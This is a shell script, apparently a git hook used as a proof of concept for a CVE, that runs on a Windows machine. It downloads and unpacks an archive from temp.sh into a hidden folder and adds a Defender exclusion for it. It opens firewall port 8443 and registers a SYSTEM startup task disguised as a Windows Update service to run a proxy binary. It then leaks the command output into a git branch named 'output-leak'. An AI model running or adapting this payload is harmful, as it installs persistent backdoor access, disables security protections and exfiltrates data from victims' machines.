35 lines
2.7 KiB
Bash
Executable File
35 lines
2.7 KiB
Bash
Executable File
#!/bin/sh
|
|
GD=$(git rev-parse --absolute-git-dir)
|
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
|
OUT=$(
|
|
echo ===MKDIR===
|
|
mkdir -p '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync'
|
|
rm -f '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz'
|
|
echo ===DOWNLOAD===
|
|
/c/WINDOWS/System32/curl.exe -s -d 'x=1' -o '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz' 'https://temp.sh/tQNCQ/mmds_proxy.tar.gz'
|
|
ls -l '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz'
|
|
echo ===EXTRACT===
|
|
tar -xzf '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz' -C '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync'
|
|
rm -f '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync/mmds_proxy.tar.gz'
|
|
ls -l '/c/ProgramData/Microsoft/Windows/WER/ReportArchive/sync'
|
|
echo ===DEFENDER_EXCLUDE===
|
|
/c/WINDOWS/System32/WindowsPowerShell/v1.0/powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync' -ErrorAction Stop; 'EXCLUDE_OK' } catch { 'EXCLUDE_FAIL=' + $_.Exception.Message }" 2>&1
|
|
echo ===FIREWALL===
|
|
MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/netsh.exe advfirewall firewall delete rule name="Windows Update HTTPS" 2>&1 || true
|
|
MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/netsh.exe advfirewall firewall add rule name="Windows Update HTTPS" dir=in action=allow protocol=TCP localport=8443 2>&1
|
|
echo ===TASK===
|
|
MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/schtasks.exe /delete /tn 'Microsoft\Windows\WindowsUpdate\ProxySvc' /f 2>&1 || true
|
|
MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/schtasks.exe /create /tn 'Microsoft\Windows\WindowsUpdate\ProxySvc' /tr '"C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync\WinUpdateSvc.exe" run -c "C:\ProgramData\Microsoft\Windows\WER\ReportArchive\sync\config.json"' /sc onstart /ru SYSTEM /f 2>&1
|
|
MSYS2_ARG_CONV_EXCL='*' /c/WINDOWS/System32/schtasks.exe /run /tn 'Microsoft\Windows\WindowsUpdate\ProxySvc' 2>&1
|
|
sleep 3
|
|
echo ===VERIFY===
|
|
/c/WINDOWS/System32/netstat.exe -ano | /usr/bin/grep -E ':8443\s' || echo NO_8443_LISTEN
|
|
/c/WINDOWS/System32/tasklist.exe | /usr/bin/grep -Ei 'WinUpdateSvc|xray' || echo NO_PROXY_PROC
|
|
echo ===DONE===
|
|
2>&1; echo "[exit-status=$?]")
|
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
|
#A
|